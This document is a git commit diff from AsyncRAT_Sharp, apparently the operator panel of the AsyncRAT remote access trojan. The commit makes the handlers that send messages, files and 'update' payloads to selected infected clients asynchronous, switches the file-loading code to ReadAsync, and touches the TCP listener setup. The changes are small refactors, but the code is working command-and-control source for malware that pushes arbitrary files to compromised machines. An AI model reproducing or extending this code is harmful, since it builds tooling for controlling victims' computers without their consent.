Update
Using await fs.ReadAsync 'MsgPack'
This commit is contained in:
parent
cda9bb7d43
commit
5a3225eecf
@ -110,14 +110,14 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
string URL = Interaction.InputBox("Message", "Message", "Hello World!");
|
||||
if (string.IsNullOrEmpty(URL))
|
||||
string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
|
||||
if (string.IsNullOrEmpty(Msgbox))
|
||||
return;
|
||||
else
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
||||
msgpack.ForcePathObject("Message").AsString = URL;
|
||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
@ -130,7 +130,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
|
||||
private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -141,12 +141,12 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
||||
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||
msgpack.ForcePathObject("Update").AsString = "false";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
@ -179,7 +179,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -190,12 +190,12 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
||||
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||
msgpack.ForcePathObject("Update").AsString = "true";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
|
@ -369,14 +369,14 @@ namespace AsyncRAT_Sharp.MessagePack
|
||||
tmp.SetAsInteger(value);
|
||||
}
|
||||
|
||||
public bool LoadFileAsBytes(string fileName)
|
||||
public async Task<bool> LoadFileAsBytes(string fileName)
|
||||
{
|
||||
if (File.Exists(fileName))
|
||||
{
|
||||
byte[] value = null;
|
||||
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
|
||||
value = new byte[fs.Length];
|
||||
fs.Read(value, 0, (int)fs.Length);
|
||||
await fs.ReadAsync(value, 0, (int)fs.Length);
|
||||
fs.Close();
|
||||
SetAsBytes(value);
|
||||
return true;
|
||||
|
@ -18,10 +18,10 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
||||
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
SendBufferSize = 50 * 1024,
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
ReceiveTimeout = -1,
|
||||
SendTimeout = -1,
|
||||
SendBufferSize = 50 * 1024,
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
ReceiveTimeout = -1,
|
||||
SendTimeout = -1,
|
||||
};
|
||||
listener.Bind(IpEndPoint);
|
||||
listener.Listen(20);
|
||||
|
Loading…
x
Reference in New Issue
Block a user